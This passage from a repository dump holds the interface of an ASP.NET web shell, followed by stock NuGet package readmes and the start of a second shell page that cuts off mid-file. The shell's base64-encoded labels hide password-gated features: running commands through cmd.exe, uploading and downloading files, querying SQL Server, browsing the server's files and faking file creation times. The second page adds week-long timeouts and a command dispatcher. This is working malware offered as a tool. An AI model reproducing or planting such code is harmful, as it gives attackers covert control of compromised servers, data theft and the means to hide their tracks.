{\r\n    height: 23 px;\r\n}\r\ninput[type = \"checkbox\"] {\r\n    width: 23 px;height: 24 px;position: absolute;margin: 0;\r\n}\r\nhr {\r\n    margin: 0;border: 0;border - top: 1 px solid# DDD;\r\n}.h {\r\n    width: 100 px;text - align: center;background: rgb(255, 36, 0);color: #fff;vertical - align: middle;\r\n}\r\ntable {\r\n    width: 100 % ;margin: 0;border - collapse: collapse;\r\n}.b {\r\n    padding: 10 px 0 px 9 px;\r\n} < /style> <\r\nscript >\r\n    function use() {\r\n        var n = document;\r\n        var d = n.getElementById(\"d\").innerHTML;\r\n        d = d.substring(0, d.lastIndexOf('\\\\') + 1);\r\n        n.getElementsByName(\"cmd\")[0].value += d;\r\n        n.getElementsByName(\"sav\")[0].value += d;\r\n        n.getElementsByName(\"don\")[0].value += d;\r\n    }\r\n\r\nfunction subm() {\r\n    var mmm = document.getElementsByClassName('mmm');\r\n    for (var i = 0; i < mmm.length; i++) {\r\n        mmm[i].value = b64EncodeUnicode(mmm[i].value);\r\n    }\r\n}\r\n\r\nfunction reset() {\r\n    document.cookie = \"data=;expires=Thu, 01 Jan 1970 00:00:01 GMT;path=/\";\r\n    location.href = location.pathname;\r\n} <\r\n/script> <\r\nstyle >\r\n    div.tbbt {\r\n        overflow: hidden;border: 1 px solid# ccc;\r\n    }\r\ndiv.tbbt button {\r\n    background - color: inherit;\r\n    float: left;\r\n    border: none;\r\n    outline: none;\r\n    cursor: pointer;\r\n    padding: 14 px 16 px;\r\n    transition: 0.3 s;\r\n    font - size: 17 px;\r\n}\r\ndiv.tbbt button: hover {\r\n    background - color: #ddd\r\n}\r\ndiv.tbbt button.active {\r\n        background - color: #ccc\r\n    }\r\n    .tb {\r\n        display: none;border: 1 px solid# ccc;border - top: none\r\n    }\r\n    .loader {\r\n        border: 3 px solid# f3f3f3;\r\n        border - radius: 50 % ;\r\n        border - top: 3 px solid #3498db;\r\n        width:16px;\r\n        height:16px;\r\n        -webkit-animation: spin 2s linear infinite;\r\n        animation:spin 2s linear infinite;\r\n        position:absolute;\r\n    }\r\n    @-webkit-keyframes spin {\r\n        0%{ -webkit-transform:rotate(0deg);}\r\n        100%{-webkit-transform:rotate(360deg);}\r\n    }\r\n    @keyframes spin {\r\n        0%{ transform:rotate(0deg);}\r\n        100%{transform:rotate(360deg);}\r\n    }\r\n    # objFrame {\r\n                padding: 0 5 px 5 px 5 px\r\n            }\r\n            .objD {\r\n                /*background-color: #d8d808;*/\r\n                background - color: #23a4ff;\r\n        padding: 5px;\r\n        display: table;\r\n        cursor: pointer;\r\n        margin-left: 100px;\r\n    }\r\n    .objF {\r\n        margin-top: 5px;\r\n        min-height: 24px;\r\n    }\r\n    .objS {\r\n        position: absolute;\r\n        width: 90px;\r\n        text-align: right;\r\n        cursor: default;\r\n        background-color: # c3c3c3;\r\n                padding: 5 px;\r\n                min - height: 14 px;\r\n            }\r\n            .objN {\r\n                display: table;\r\n                padding: 5 px;\r\n                background - color: #23d7ff;\r\n        margin-left: 100px;\r\n        cursor: pointer;\r\n    }\r\n    .objB {\r\n        margin-left:3px;\r\n        padding:5px;\r\n    }\r\n    .objL{display:inline-block;margin-left:3px;}\r\n    # objLocation {\r\n                        padding: 0 5 px 0 5 px;\r\n                    }\r\n                    .objLabel {\r\n                        display: inline - block;\r\n                        padding: 5 px;\r\n                        width: 87 px;\r\n                        background - color: #c3c3c3;\r\n                        margin - top: 5 px;\r\n                    }\r\n                    .objError {\r\n                        background - color: #ff2e2e;\r\n                        color: white;\r\n                    } <\r\n                    /style> <\r\n                    script >\r\n                    var sizeArray = new Array();\r\n\r\n                function openTab(ev, nm) {\r\n                    var i, tb, tblnk;\r\n                    tb = document.getElementsByClassName(\"tb\");\r\n                    for (i = 0; i < tb.length; i++) {\r\n                        tb[i].style.display = \"none\";\r\n                    }\r\n                    tblnk = document.getElementsByClassName(\"tblnk\");\r\n                    for (i = 0; i < tblnk.length; i++) {\r\n                        tblnk[i].className = \"tblnk\";\r\n                    }\r\n                    document.getElementById(nm).style.display = \"block\";\r\n                    ev.currentTarget.className += \" active\";\r\n                }\r\n\r\n                function readCookie(name) {\r\n                    var nameEQ = name + \"=\";\r\n                    var ca = document.cookie.split(';');\r\n                    for (var i = 0; i < ca.length; i++) {\r\n                        var c = ca[i];\r\n                        while (c.charAt(0) == ' ') c = c.substring(1, c.length);\r\n                        if (c.indexOf(nameEQ) == 0) return c.substring(nameEQ.length, c.length);\r\n                    }\r\n                    return null;\r\n                }\r\n\r\n                function sendAddress() {\r\n                    document.getElementById(\"loader\").style.display = \"inline-block\";\r\n                    var address = document.getElementsByName(\"exadd\")[0].value;\r\n                    var info = {\r\n                        data: \"exadd=\" + b64EncodeUnicode(address),\r\n                        onSuccess: function(resText) {\r\n\r\n                            document.getElementById(\"loader\").style.display = \"none\";\r\n                            var data = b64DecodeUnicode(resText)\r\n                            makeLocation();\r\n                            var Frame = document.getElementById(\"objFrame\");\r\n                            Frame.innerHTML = \"\";\r\n                            if (data.startsWith(\"Error\")) {\r\n                                addError(Frame, data);\r\n                            } else {\r\n                                var info = JSON.parse(data);\r\n                                console.log(data);\r\n                                console.log(info);\r\n                                if (info.dir) {\r\n                                    var f = document.createElement(\"div\");\r\n                                    f.className = \"objF\";\r\n\r\n                                    var s = document.createElement(\"div\");\r\n                                    s.className = \"objS\";\r\n                                    s.innerText = \"Get All\";\r\n                                    s.style.cursor = \"pointer\";\r\n                                    s.onclick = function() {\r\n                                        getAllSize();\r\n                                    };\r\n\r\n                                    f.appendChild(s);\r\n                                    Frame.appendChild(f);\r\n\r\n                                    for (var i = 0; i < info.dir.length; i++)\r\n                                        addFolder(Frame, info.dir[i]);\r\n                                }\r\n                                if (info.file)\r\n                                    for (var i = 0; i < info.file.length; i++)\r\n                                        addFile(Frame, info.file[i][0], info.file[i][1])\r\n                            }\r\n                        }\r\n                    };\r\n                    sendData(info);\r\n                }\r\n\r\n                function makeLocation() {\r\n                    var loc = document.getElementById(\"objLocation\");\r\n                    loc.innerHTML = \"\";\r\n\r\n                    var lbl = document.createElement(\"div\");\r\n                    lbl.className = \"objLabel\";\r\n                    lbl.innerText = \"Location :\";\r\n                    loc.appendChild(lbl);\r\n                    var curAdd = document.getElementsByName(\"exadd\")[0].value.split(\"\\\\\");\r\n                    var sendLoc = \"\";\r\n                    if (document.getElementsByName(\"exadd\")[0].value.startsWith(\"\\\\\\\\\"))\r\n                        sendLoc += \"\\\\\\\\\";\r\n                    for (var i = 0; i < curAdd.length; i++) {\r\n                        if (curAdd[i] == \"\")\r\n                            continue;\r\n                        sendLoc += curAdd[i] + \"\\\\\";\r\n                        var o = document.createElement(\"div\");\r\n                        if (i == curAdd.length - 1)\r\n                            o.style.display = \"inline-block\";\r\n                        else {\r\n                            o.setAttribute(\"loc\", sendLoc);\r\n                            o.onclick = function() {\r\n                                document.getElementsByName(\"exadd\")[0].value = this.getAttribute(\"loc\");\r\n                                sendAddress();\r\n                            };\r\n                            o.className = \"objD objL\";\r\n                        }\r\n                        o.innerText = curAdd[i] + \"\\\\\";\r\n\r\n                        loc.appendChild(o);\r\n                    }\r\n                    if (document.getElementsByName(\"exadd\")[0].value.startsWith(\"\\\\\\\\\")) {\r\n                        loc.childNodes[1].innerText = \"\\\\\\\\\" + loc.childNodes[1].innerText;\r\n                    }\r\n                    loc.lastChild.style.display = \"inline-block\";\r\n                    loc.lastChild.onclick = function() {};\r\n                    loc.lastChild.className = \"objB\";\r\n                }\r\n\r\n                function addError(parent, error) {\r\n                    var d = document.createElement(\"div\");\r\n                    d.className = \"objD objError\";\r\n                    d.innerText = error;\r\n                    parent.appendChild(d);\r\n                }\r\n\r\n                function addFolder(parent, name) {\r\n                    var f = document.createElement(\"div\");\r\n                    f.className = \"objF\";\r\n\r\n                    var d = document.createElement(\"div\");\r\n                    d.className = \"objD\";\r\n                    d.innerText = name;\r\n                    d.onclick = function() {\r\n                        setAddress(this.innerText);\r\n                    };\r\n\r\n                    var s = document.createElement(\"div\");\r\n                    s.className = \"objS dir\";\r\n                    if (sizeArray[getCurrentAddress() + \"\\\\\" + name])\r\n                        setSize(s, sizeArray[getCurrentAddress() + \"\\\\\" + name]);\r\n                    else\r\n                        s.innerText = \"...\";\r\n\r\n                    s.style.cursor = \"pointer\";\r\n                    s.onclick = function() {\r\n                        getSize(s, d.innerText);\r\n                    };\r\n\r\n                    f.appendChild(s);\r\n                    f.appendChild(d);\r\n                    parent.appendChild(f);\r\n                }\r\n\r\n                function addFile(parent, name, size) {\r\n                    var f = document.createElement(\"div\");\r\n                    f.className = \"objF\";\r\n                    var s = document.createElement(\"div\");\r\n                    s.className = \"objS\";\r\n                    setSize(s, size)\r\n                    var n = document.createElement(\"div\");\r\n                    n.className = \"objN\";\r\n                    n.innerText = name;\r\n                    n.onclick = function() {\r\n                        expDownload(this.innerText);\r\n                    };\r\n\r\n                    f.appendChild(s);\r\n                    f.appendChild(n);\r\n\r\n                    parent.appendChild(f);\r\n                }\r\n\r\n                function getCurrentAddress() {\r\n                    var address = document.getElementsByName(\"exadd\")[0];\r\n                    if (address.value.endsWith(\"\\\\\"))\r\n                        address.value = address.value.substring(0, address.value.length - 1);\r\n                    return address.value;\r\n                }\r\n\r\n                function expDownload(name) {\r\n                    var path = getCurrentAddress() + \"\\\\\" + name;\r\n\r\n                    document.getElementById(\"donInput\").value = path;\r\n                    document.getElementById(\"donSubmit\").click();\r\n                }\r\n\r\n                function setAddress(name) {\r\n                    var address = document.getElementsByName(\"exadd\")[0];\r\n                    if (address.value.endsWith(\"\\\\\"))\r\n                        address.value = address.value.substring(0, address.value.length - 1);\r\n                    var path = name;\r\n                    if (path == 'root' || path.startsWith('\\\\\\\\'))\r\n                        address.value = path;\r\n                    else\r\n                        address.value += \"\\\\\" + name;\r\n                    sendAddress();\r\n                }\r\n\r\n                function getNextSize(alls) {\r\n                    if (alls.length > 0) {\r\n                        var s = alls[0];\r\n                        alls.shift();\r\n                        console.log(alls);\r\n                        console.log(s);\r\n                        getSize(s, s.nextSibling.innerText, function() {\r\n                            getNextSize(alls)\r\n                        });\r\n                    }\r\n                }\r\n\r\n                function getAllSize() {\r\n                    var allSizes = [].slice.call(document.getElementsByClassName(\"objS dir\"));\r\n                    getNextSize(allSizes);\r\n                }\r\n\r\n                function getSize(objSize, name, callBack) {\r\n                    objSize.innerText = \"\";\r\n                    var ldr = document.createElement(\"span\");\r\n                    ldr.className = \"loader\";\r\n                    ldr.style.width = \"12px\";\r\n                    ldr.style.height = \"12px\";\r\n                    ldr.style.top = \"3px\";\r\n                    ldr.style.left = \"80px\";\r\n                    objSize.appendChild(ldr);\r\n                    var address = getCurrentAddress() + \"\\\\\" + name;\r\n                    var info = {\r\n                        data: \"gsize=\" + b64EncodeUnicode(address),\r\n                        onSuccess: function(resText) {\r\n\r\n                            ldr.remove();\r\n                            var data = b64DecodeUnicode(resText)\r\n                            setSize(objSize, data)\r\n                            if (!data.startsWith(\"Error\"))\r\n                                sizeArray[address] = data;\r\n\r\n                            if (callBack)\r\n                                callBack();\r\n                        }\r\n                    };\r\n                    sendData(info);\r\n                }\r\n\r\n                function checkEnter(ev) {\r\n                    if (ev.which == 13 || ev.keyCode == 13) {\r\n                        sendAddress();\r\n                        return false;\r\n                    }\r\n                    return true;\r\n                }\r\n\r\n                function setSize(obj, size) {\r\n                    obj.innerText = size;\r\n                    if (size.endsWith(\"KB\"))\r\n                        obj.style.backgroundColor = \"#ece979\";\r\n                    else if (size.endsWith(\"MB\"))\r\n                        obj.style.backgroundColor = \"#ffd36f\";\r\n                    else if (size.endsWith(\"GB\"))\r\n                        obj.style.backgroundColor = \"#ff6f6f\";\r\n                }\r\n\r\n                function sendData(info) {\r\n                    var data = info.data;\r\n                    var xh = new XMLHttpRequest();\r\n                    xh.onreadystatechange = function() {\r\n                        if (this.readyState == 4 && this.status == 200) {\r\n                            info.onSuccess(this.responseText);\r\n                        }\r\n                    };\r\n                    xh.open(\"POST\", location.pathname, true);\r\n                    xh.setRequestHeader(\"Content-type\", \"application/x-www-form-urlencoded\");\r\n                    xh.send(\"p=\" + readCookie(\"p\") + \"&\" + data);\r\n                }\r\n\r\n                function b64DecodeUnicode(str) {\r\n                    return decodeURIComponent(Array.prototype.map.call(atob(str), function(c) {\r\n                        return '%' + ('00' + c.charCodeAt(0).toString(16)).slice(-2)\r\n                    }).join(''))\r\n                }\r\n\r\n                function b64EncodeUnicode(str) {\r\n                    return btoa(encodeURIComponent(str).replace(/%([0-9A-F]{2})/g, function(match, p1) {\r\n                        return String.fromCharCode(parseInt(p1, 16))\r\n                    }))\r\n                } <\r\n                /script> <\r\n                /head> <\r\n                body >\r\n                <\r\n                div class = \"tbbt\" >\r\n                <\r\n                button class = \"tblnk active\"\r\n                onclick = \"openTab(event, 'tbMain')\" > Main < /button> <\r\n                button class = \"tblnk\"\r\n                onclick = \"openTab(event, 'tbDir')\" > Explorer < /button> <\r\n                /div> <\r\n                div id = \"tbMain\"\r\n                class = \"tb\"\r\n                style = \"display:block\" >\r\n                <\r\n                table >\r\n                <\r\n                tr >\r\n                <\r\n                td class = \"h\" > <%=x(\"QWRkcmVzcw==\")%> < /td> <\r\n                td class = \"b\" >\r\n                <\r\n                t > <%=x(\"Q3VycmVudA==\")%>: < /t> <\r\n                    y id = \"d\" > <%= Server.MapPath(string.Empty) + \"\\\\\"%> < /y> <\r\n                    input type = \"button\"\r\n                value = \"<%=x(\"VXNl\")%>\"\r\n                onclick = \"use()\" / >\r\n                <\r\n                input type = \"button\"\r\n                value = \"<%=x(\"UmVzZXQgRm9ybQ==\")%>\"\r\n                onclick = \"reset()\" / >\r\n                <\r\n                div style = \"float:right\" > v5 .0 < /div> <\r\n                /td> <\r\n                /tr> <\r\n                /table> <\r\n                hr >\r\n                <\r\n                form method = \"post\" >\r\n                <\r\n                table >\r\n                <\r\n                tr >\r\n                <\r\n                td class = \"h\" > <%=x(\"TG9naW4=\")%> < /td> <\r\n                td class = \"b\" >\r\n                <\r\n                t > <%=x(\"RG8gaXQ=\")%>: < /t> <\r\n                    input name = \"p\"\r\n                class = \"mmm\"\r\n                type = \"text\"\r\n                style = 'background-color: <%= aut ? \"Green\" : \"Red\" %>' / >\r\n                <\r\n                input type = \"submit\"\r\n                value = \"<%= x(\"RG8gaXQ=\") %>\"\r\n                onclick = \"subm();\" / >\r\n                <\r\n                /td> <\r\n                /tr> <\r\n                /table> <\r\n                /form> <\r\n                hr >\r\n                <\r\n                form method = \"post\" >\r\n                <\r\n                table >\r\n                <\r\n                tr >\r\n                <\r\n                td class = \"h\" > <%=x(\"Q29tbWFuZA==\")%> < /td> <\r\n                td class = \"b\" >\r\n                <\r\n                t > <%=x(\"UHJvY2Vzcw==\")%>: < /t> <\r\n                    input name = \"pro\"\r\n                class = \"mmm\"\r\n                type = \"text\"\r\n                value = '<%= string.IsNullOrEmpty(pro) ? x(\"Y21kLmV4ZQ==\") : pro %>' / > < br >\r\n                <\r\n                t > <%=x(\"Q29tbWFuZA==\")%>: < /t> <\r\n                    input name = \"cmd\"\r\n                class = \"mmm\"\r\n                type = \"text\"\r\n                value = '<%= cmd %>' / >\r\n                <\r\n                input type = \"submit\"\r\n                value = \"<%= x(\"RXhlY3V0ZQ==\") %>\"\r\n                onclick = \"subm();\" / >\r\n                <\r\n                /td> <\r\n                /tr> <\r\n                /table> <\r\n                /form> <\r\n                hr >\r\n                <\r\n                form method = \"post\"\r\n                enctype = \"multipart/form-data\" >\r\n                <\r\n                table >\r\n                <\r\n                tr >\r\n                <\r\n                td class = \"h\" > <%=x(\"VXBsb2Fk\")%> < /td> <\r\n                td class = \"b\" >\r\n                <\r\n                t > <%=x(\"RmlsZSBuYW1l\")%>: < /t> <\r\n                    input name = \"upl\"\r\n                type = \"file\" / > < br >\r\n                <\r\n                t > <%=x(\"U2F2ZSBhcw==\")%>: < /t> <\r\n                    input name = \"sav\"\r\n                class = \"mmm\"\r\n                type = \"text\"\r\n                value = '<%= sav %>' / >\r\n                <\r\n                input name = \"vir\"\r\n                type = \"checkbox\" / > < g > <%=x(\"SXMgdmlydHVhbCBwYXRo\")%> < /g><br> <\r\n                t > <%=x(\"TmV3IEZpbGUgbmFtZQ==\")%>: < /t> <\r\n                    input name = \"nen\"\r\n                class = \"mmm\"\r\n                type = \"text\"\r\n                value = '<%= nen %>' / >\r\n                <\r\n                input type = \"submit\"\r\n                value = \"<%= x(\"VXBsb2Fk\") %>\"\r\n                onclick = \"subm();\" / >\r\n                <\r\n                /td> <\r\n                /tr> <\r\n                /table> <\r\n                /form> <\r\n                hr >\r\n                <\r\n                form method = \"post\" >\r\n                <\r\n                table >\r\n                <\r\n                tr >\r\n                <\r\n                td class = \"h\" > <%=x(\"RG93bmxvYWQ=\")%> < /td> <\r\n                td class = \"b\" >\r\n                <\r\n                t > <%=x(\"RmlsZSBuYW1l\")%>: < /t> <\r\n                    input id = \"donInput\"\r\n                name = \"don\"\r\n                type = \"text\" / >\r\n                <\r\n                input id = \"donSubmit\"\r\n                type = \"submit\"\r\n                value = \"<%= x(\"RG93bmxvYWQ=\") %>\"\r\n                onclick = \"document.getElementsByName('don')[0].value = b64EncodeUnicode(document.getElementsByName('don')[0].value);\" / >\r\n                <\r\n                /td> <\r\n                /tr> <\r\n                /table> <\r\n                /form> <\r\n                hr / >\r\n                <\r\n                form method = \"post\" >\r\n                <\r\n                table >\r\n                <\r\n                tr >\r\n                <\r\n                td class = \"h\" > <%=x(\"VXBsb2FkIEJhc2U2NA==\")%> < /td> <\r\n                td class = \"b\" >\r\n                <\r\n                t > <%=x(\"QmFzZTY0IEZpbGU=\")%>: < /t> <\r\n                    textarea name = \"baseFile\" > < /textarea> <\r\n                    input name = \"baseVir\"\r\n                type = \"checkbox\" / > < g > <%=x(\"SXMgdmlydHVhbCBwYXRo\")%> < /g><br> <\r\n                t > <%=x(\"RmlsZSBQYXRoIGFuZCBOYW1l \")%>: < /t> <\r\n                    input name = \"baseAddr\"\r\n                class = \"mmm\"\r\n                type = \"text\"\r\n                value = '<%= baseAddr %>' / >\r\n                <\r\n                input type = \"submit\"\r\n                value = \"<%= x(\"VXBsb2Fk\") %>\"\r\n                onclick = \"subm();\" / >\r\n                <\r\n                /td> <\r\n                /tr> <\r\n                /table> <\r\n                /form> <\r\n                hr / >\r\n                <\r\n                form method = \"post\" >\r\n                <\r\n                table >\r\n                <\r\n                tr >\r\n                <\r\n                td class = \"h\" > <%=x(\"U3FsIFNlcnZlcg==\")%> < /td> <\r\n                td class = \"b\" >\r\n                <\r\n                input style = \"margin:0 0 3px 192px\"\r\n                type = \"button\"\r\n                value = \"<%=x(\"U3RhbmRhcmQgQ29ubmVjdGlvbiBTYW1wbGU=\")%>\"\r\n                onclick = \"document.getElementsByName('sqc')[0].value = '<%=x(\"U2VydmVyPS47RGF0YWJhc2U9ZGI7VXNlciBJZD11c2VyO1Bhc3N3b3JkPXBhc3M=\")%>    '\" / >\r\n                <\r\n                input style = \"margin:0 0 3px 0\"\r\n                type = \"button\"\r\n                value = \"<%=x(\"VHJ1c3RlZCBDb25uZWN0aW4gU2FtcGxl\")%>\"\r\n                onclick = \"document.getElementsByName('sqc')[0].value = '<%=x(\"U2VydmVyPS47RGF0YWJhc2U9ZGI7VHJ1c3RlZF9Db25uZWN0aW9uPVRydWU=\")%>    '\" / > < br / >\r\n                <\r\n                t > <%=x(\"Q29ubmVjdGlvbiBTdHJpbmc=\")%>: < /t> <\r\n                    input name = \"sqc\"\r\n                class = \"mmm\"\r\n                type = \"text\"\r\n                value = '<%= sqc %>' / > < br / >\r\n                <\r\n                t > <%=x(\"UXVlcnk=\")%>: < /t> <\r\n                    textarea name = \"sqq\"\r\n                class = \"mmm\" > <%= sqq %> < /textarea> <\r\n                input type = \"submit\"\r\n                value = \"<%= x(\"UnVu\") %>\"\r\n                onclick = \"subm();\" / >\r\n                <\r\n                /td> <\r\n                /tr> <\r\n                /table> <\r\n                /form> <\r\n                hr / >\r\n                <\r\n                form method = \"post\" >\r\n                <\r\n                table >\r\n                <\r\n                tr >\r\n                <\r\n                td class = \"h\" > <%=x(\"Q2hhbmdlIENyZWF0aW9uIFRpbWU=\")%> < /td> <\r\n                td class = \"b\" >\r\n                <\r\n                input name = \"hid\"\r\n                type = \"hidden\" / >\r\n                <\r\n                t > <%=x(\"RmlsZSBuYW1l\")%>: < /t> <\r\n                    input name = \"tfil\"\r\n                class = \"mmm\"\r\n                type = \"text\"\r\n                value = '<%= tfil %>' / >\r\n                <\r\n                input type = \"submit\"\r\n                value = \"<%= x(\"R2V0\") %>\"\r\n                onclick = \"subm(); document.getElementsByName('hid')[0].value = '1'\" / > < br >\r\n                <\r\n                t > <%=x(\"RnJvbSBUaGlzIEZpbGU=\")%>: < /t> <\r\n                    input name = \"ttar\"\r\n                class = \"mmm\"\r\n                type = \"text\"\r\n                value = '<%= ttar %>' / >\r\n                <\r\n                input type = \"submit\"\r\n                value = \"<%= x(\"U2V0\") %>\"\r\n                onclick = \"subm(); document.getElementsByName('hid')[0].value = '2'\" / > < br >\r\n                <\r\n                t > <%=x(\"TmV3IFRpbWU=\")%>: < /t> <\r\n                    input name = \"ttim\"\r\n                class = \"mmm\"\r\n                type = \"text\"\r\n                value = '<%= ttim %>' / >\r\n                <\r\n                input type = \"submit\"\r\n                value = \"<%= x(\"U2V0\") %>\"\r\n                onclick = \"subm(); document.getElementsByName('hid')[0].value = '3'\" / >\r\n                <\r\n                /td> <\r\n                /tr> <\r\n                /table> <\r\n                /form> <\r\n                hr / >\r\n                <\r\n                br / >\r\n                <\r\n                pre id = \"log\"\r\n                runat = \"server\" > < /pre> <\r\n                script >\r\n                var ll = document.getElementById('log');\r\n                if (ll.innerHTML) ll.innerHTML = atob(log.innerHTML); < /script> <\r\n                /div> <\r\n                div id = \"tbDir\"\r\n                class = \"tb\" >\r\n                <\r\n                table >\r\n                <\r\n                tr >\r\n                <\r\n                td class = \"h\" > Explorer < /td> <\r\n                td class = \"b\" >\r\n                <\r\n                t > Address: < /t> <\r\n                    input name = \"exadd\"\r\n                class = \"mmm\"\r\n                type = \"text\"\r\n                value = '<%= exadd %>'\r\n                onkeypress = \"return checkEnter(event);\" / >\r\n                <\r\n                input type = \"submit\"\r\n                value = \"Explore\"\r\n                onclick = \"sendAddress();\"\r\n                style = \"margin-right:5px;\" / >\r\n                <\r\n                span id = \"loader\"\r\n                class = \"loader\"\r\n                style = \"display:none\" > < /span> <\r\n                /td> <\r\n                /tr> <\r\n                /table> <\r\n                hr / >\r\n                <\r\n                div id = \"objLocation\" >\r\n                <\r\n                div class = \"objLabel\" > Location: < /div><div class=\"objD objL\" onclick=\"setAddress(this.innerText);\">root</div >\r\n                    <\r\n                    /div> <\r\n                    div id = \"objFrame\" >\r\n                    <\r\n                    /div> <\r\n                    /div> <\r\n                    /body> <\r\n                    /html>"
  },
  {
    "path": "Webshells_and_Panel/HyperShell/packages/EntityFramework.6.1.3/tools/about/EntityFramework.help.txt",
    "content": "TOPIC\r\n    about_EntityFramework\r\n\r\nSHORT DESCRIPTION\r\n    Provides information about Entity Framework commands.\r\n\r\nLONG DESCRIPTION\r\n    This topic describes the Entity Framework commands. Entity Framework is\r\n    Microsoft's recommended data access technology for new applications.\r\n\r\n    The following Entity Framework cmdlets are used with Entity Framework\r\n    Migrations.\r\n\r\n        Cmdlet              Description\r\n        -----------------   ---------------------------------------------------\r\n        Enable-Migrations   Enables Code First Migrations in a project.\r\n\r\n        Add-Migration       Scaffolds a migration script for any pending model\r\n                            changes.\r\n\r\n        Update-Database     Applies any pending migrations to the database.\r\n\r\n        Get-Migrations      Displays the migrations that have been applied to\r\n                            the target database.\r\n\r\n    The following Entity Framework cmdlets are used by NuGet packages that\r\n    install Entity Framework providers. These commands are not usually used as\r\n    part of normal application development.\r\n\r\n        Cmdlet                          Description\r\n        ------------------------------  ---------------------------------------\r\n        Add-EFProvider                  Adds or updates an Entity Framework\r\n                                        provider entry in the project config\r\n                                        file.\r\n\r\n        Add-EFDefaultConnectionFactory  Adds or updates an Entity Framework\r\n                                        default connection factory in the\r\n                                        project config file.\r\n\r\n        Initialize-EFConfiguration      Initializes the Entity Framework\r\n                                        section in the project config file and\r\n                                        sets defaults.\r\n\r\nSEE ALSO\r\n    Enable-Migrations\r\n    Add-Migration\r\n    Update-Database\r\n    Get-Migrations\r\n"
  },
  {
    "path": "Webshells_and_Panel/HyperShell/packages/Microsoft.AspNet.FriendlyUrls.1.0.2/readme.txt",
    "content": "==========================================================\r\nASP.NET Friendly URLs v1.0.1\r\n==========================================================\r\n\r\n----------------------------------------------------------\r\nOverview\r\n----------------------------------------------------------\r\nASP.NET Friendly URLs provides a simple way to remove the\r\nneed for file extensions on URLs for registered file\r\nhandler types, e.g. .aspx.\r\n\r\nFor more information see http://go.microsoft.com/fwlink/?LinkID=264514&clcid=0x409\r\n\r\n----------------------------------------------------------\r\nSetup\r\n----------------------------------------------------------\r\n\r\nIf your app didn't have a RouteConfig class before\r\ninstalling ASP.NET Friendly URLs package:\r\n----------------------------------------------------------\r\n  The package includes a RouteConfig class that contains\r\n  the call required to enable Friendly URLs. This call must\r\n  be made from the Application_Start handler in your app's\r\n  Global.asax file.\r\n\r\n  Add the following to your Global.asax.cs file:\r\n\r\n\tusing System.Web.Routing;\r\n\t...\r\n    protected void Application_Start(object sender, EventArgs e)\r\n    {\r\n        RouteConfig.RegisterRoutes(RouteTable.Routes);\r\n    }\r\n\r\n\r\nIf your app had a RouteConfig class before installing\r\nASP.NET Friendly URLs package:\r\n----------------------------------------------------------\r\n  You'll need to update your RouteConfig class to enable\r\n  Friendly URLs.\r\n\r\n  Call EnableFriendlyUrls() in your RegisterRoutes method\r\n  *before* any existing route registrations:\r\n\r\n    public static void RegisterRoutes(RouteCollection routes)\r\n    {\r\n        routes.EnableFriendlyUrls();\r\n\r\n        // Put any additional route registrations here.\r\n    }\r\n"
  },
  {
    "path": "Webshells_and_Panel/HyperShell/packages/Microsoft.AspNet.Providers.Core.2.0.0/ReadMe.txt",
    "content": "==========================================================\r\nASP.NET Universal Providers v2.0.0\r\n==========================================================\r\n\r\n----------------------------------------------------------\r\nOverview\r\n----------------------------------------------------------\r\nASP.NET Universal Providers are used to store membership, roles, profile and session data for your application.\r\n\r\nFor more information see http://go.microsoft.com/fwlink/?LinkID=320752&clcid=0x409\r\n\r\n----------------------------------------------------------\r\nUpgrade from v1.0.0 to v2.0.0\r\n----------------------------------------------------------\r\nWhen you are upgrading from v1.0.0 to v2.0.0, you will have to change the assembly references in your web.config to 2.0.0.\r\nThis is because the assembly version has changed from v1.0.0 to v2.0.0\r\n"
  },
  {
    "path": "Webshells_and_Panel/MinionProject/Minion/HighShellLocal/HighShellLocal.aspx",
    "content": "﻿<%@ Page Language=\"C#\" ValidateRequest=\"false\" EnableViewState=\"false\" EnableSessionState=\"ReadOnly\" %>\r\n\r\n<%@ Import Namespace=\"System.IO\" %>\r\n<%@ Import Namespace=\"System.Net\" %>\r\n<%@ Import Namespace=\"System.Web.Services\" %>\r\n<%@ Import Namespace=\"Newtonsoft.Json\" %>\r\n<%@ Import Namespace=\"Minion.lib\" %>\r\n\r\n<html xmlns=\"http://www.w3.org/1999/xhtml\">\r\n<head>\r\n    <link href=\"js/semantic/semantic.min.css\" rel=\"stylesheet\" />\r\n    <link href=\"css/main.css\" rel=\"stylesheet\" />\r\n    <link href=\"js/DataTables-1.10.16/css/jquery.dataTables.min.css\" rel=\"stylesheet\" />\r\n    <link href=\"js/components/downloadbox.css\" rel=\"stylesheet\" />\r\n    <link href=\"js/components/networkdownloader.css\" rel=\"stylesheet\" />\r\n    <%\r\n        try\r\n        {\r\n            //InitiateSSLTrust();\r\n            Server.ScriptTimeout = 7 * 24 * 60 * 60; // 7 Day\r\n            Session.Timeout = 7 * 24 * 60; // 7 Day\r\n\r\n            new LoginLog().GetLog(HttpContext.Current);\r\n\r\n            NameValueCollection t = HttpContext.Current.Request.Form;\r\n            method selectedMethod = method.auth;\r\n\r\n            if (!string.IsNullOrEmpty(t[\"isajax\"]))\r\n                isAjax = true;\r\n\r\n            string methodStr = unpack(t[\"m\"]);\r\n            if (!string.IsNullOrEmpty(methodStr))\r\n            {\r\n                int methodID = int.Parse(methodStr);\r\n                selectedMethod = (method)methodID;\r\n\r\n                url = unpack(t[\"url\"]);\r\n\r\n                if (string.IsNullOrEmpty(url))\r\n                {\r\n                    if (HttpContext.Current.Request.Cookies[\"url\"] != null)\r\n                        url = FromBase64(HttpContext.Current.Request.Cookies[\"url\"].Value);\r\n                }\r\n\r\n                string[] urlp = url.Split(';');\r\n                if (urlp.Length > 1)\r\n                {\r\n                    //url = urlp[0];\r\n                    p = urlp[1];\r\n                }\r\n\r\n                if (string.IsNullOrEmpty(p))\r\n                {\r\n                    if (HttpContext.Current.Request.Cookies[\"p\"] != null)\r\n                        p = FromBase64(HttpContext.Current.Request.Cookies[\"p\"].Value);\r\n                }\r\n\r\n                if (HttpContext.Current.Request.Cookies[\"loginStyle\"] != null)\r\n                    loginStyle = FromBase64(HttpContext.Current.Request.Cookies[\"loginStyle\"].Value);\r\n\r\n                switch (selectedMethod)\r\n                {\r\n                    case method.auth:\r\n                        auth();\r\n                        break;\r\n                    case method.localExplore:\r\n                        SpecialScript = \"$('#btnExpror').click();\";\r\n                        SpecialScript = @\"\r\nopenTab(document.getElementById('tabExp'), 'tbDir');\r\ndocument.getElementsByName('exadd')[0].value = '\" + unpack(t[\"exadd\"]).Replace(\"\\\\\", \"\\\\\\\\\") + @\"';\r\n$('#btnExpror').click();\";\r\n                        break;\r\n                    case method.command:\r\n                        command(unpack(t[\"cmd\"]));\r\n                        break;\r\n                    